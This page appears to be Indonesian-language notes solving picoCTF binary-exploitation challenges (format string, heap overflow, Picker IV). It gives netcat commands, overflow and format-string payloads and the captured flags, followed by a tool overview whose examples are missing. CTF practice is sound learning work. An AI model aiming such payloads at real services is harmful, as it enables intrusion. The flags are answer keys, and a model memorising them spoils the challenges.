format string 0
nc mimas.picoctf.net 56362
Enter your recommendation: 11111111111111111111111111111111111111111111111111
There is no such burger yet!
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_ef312157}
format string 1
nc mimas.picoctf.net 58532
Give me your order and I'll read it back to you:
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
decode from hex di chat gpt
0x402118,(nil),0x713333abca00,(nil),0x12bc880,0xa347834,0x7ffeb8e7c0a0,0x7133338ade60,0x713333ad24d0,0x1,0x7ffeb8e7c170,(nil),(nil),0x7b4654436f636970,0x355f31346d316e34,0x3478345f33317937,0x65355f673431665f,0x7d346263623736,0x7,0x713333ad48d8,0x2300000007,0x206e693374307250,0xa336c797453,0x9
format string 1
heap 0
nc tethys.picoctf.net 62437
Enter your choice: 2
Data for buffer: 11111111111111111111111111111111
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_1ad0e1a6}
heap 1
nc tethys.picoctf.net 49425
Enter your choice: 2
Data for buffer: 11111111111111111111111111111111pico
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_c588b8a1}
heap 2
echo -e $(python3 -c "import sys; sys.stdout.buffer.write(b'2\n' + b'A'*32 + b'\xa0\x11\x40\x00\x00\x00\x00\x00\n4\n')") | nc mimas.picoctf.net 65515
heap 3
echo $(python3 -c 'print("5\n2\n35\n" + "A"*30 + "pico\n4\n")') | nc tethys.picoctf.net 56188
Picker IV
gdb ./picker-iv
info function
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 putchar@plt
0x00000000004010f0 puts@plt
0x0000000000401100 fclose@plt
0x0000000000401110 printf@plt
0x0000000000401120 fgetc@plt
0x0000000000401130 signal@plt
0x0000000000401140 setvbuf@plt
0x0000000000401150 fopen@plt
0x0000000000401160 __isoc99_scanf@plt
0x0000000000401170 exit@plt
0x0000000000401180 sleep@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 print_segf_message
0x000000000040129e win
0x0000000000401334 main
0x00000000004013d0 __libc_csu_init
0x0000000000401440 __libc_csu_fini
0x0000000000401448 _fini
nc saturn.picoctf.net 63592
Enter the address in hex to jump to, excluding '0x': 40129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}
Sintax Binary Exploitation
1. GDB (GNU Debugger)
gdb
adalah alat debugging utama yang digunakan untuk menganalisis program biner, men-debug dan menelusuri alur eksekusi program.
Sintaks dasar gdb:
Perintah-perintah umum:
Menampilkan informasi tentang fungsi:
Menampilkan alamat memory dari variabel:
Menyetel breakpoint:
Melangkah melalui program:
Melihat isi memori:
Mengeksploitasi buffer overflow:
Jika kita sudah mengetahui ada buffer overflow, kita bisa memanfaatkan alamat return:
2. Pwntools
pwntools
adalah pustaka Python yang sangat populer untuk binary exploitation, digunakan untuk crafting payload dan berinteraksi dengan proses yang kita eksploitasi.
Contoh Penggunaan:
Fitur umum pwntools:
3. Objdump
objdump
digunakan untuk menampilkan disassembly dari file biner atau object file. Biasanya digunakan untuk melihat kode mesin.
Sintaks dasar objdump:
4. Valgrind
valgrind
adalah alat untuk mendeteksi memory leaks dan masalah-masalah lain terkait memori dalam program. Ini sangat berguna untuk mendebug program C/C++.
Sintaks dasar valgrind:
5. Readelf
readelf
digunakan untuk menampilkan informasi tentang file ELF secara detail, seperti header, section, symbol table, dan banyak lagi.
Sintaks dasar readelf:
- Menampilkan informasi lebih lanjut tentang section:
6. Checksec
checksec
digunakan untuk memeriksa apakah proteksi keamanan tertentu diterapkan pada file ELF, seperti NX, PIE, Stack Canary, dll.
Sintaks dasar checksec:
7. Strace
strace
digunakan untuk melacak sistem call yang dilakukan oleh sebuah program. Ini sangat berguna untuk melihat interaksi program dengan sistem operasi, seperti membuka file, membaca, menulis, dll.
Sintaks dasar strace:
8. Sintaks Lainnya yang Berguna
Beberapa alat lain yang berguna untuk eksploitasi binary:
Kesimpulan:
Semua alat ini bekerja bersama-sama untuk membantu kita menganalisis dan mengeksploitasi file ELF di Kali Linux. gdb
untuk debugging, pwntools
untuk otomatisasi eksploitasi, objdump
untuk disassembly, valgrind
untuk deteksi masalah memori, dan lainnya memiliki peran masing-masing yang sangat penting dalam proses binary exploitation.
Jika kamu ingin mendalami lebih jauh atau butuh penjelasan tambahan tentang salah satu alat atau sintaks, tinggal tanya saja! 😊
0 Komentar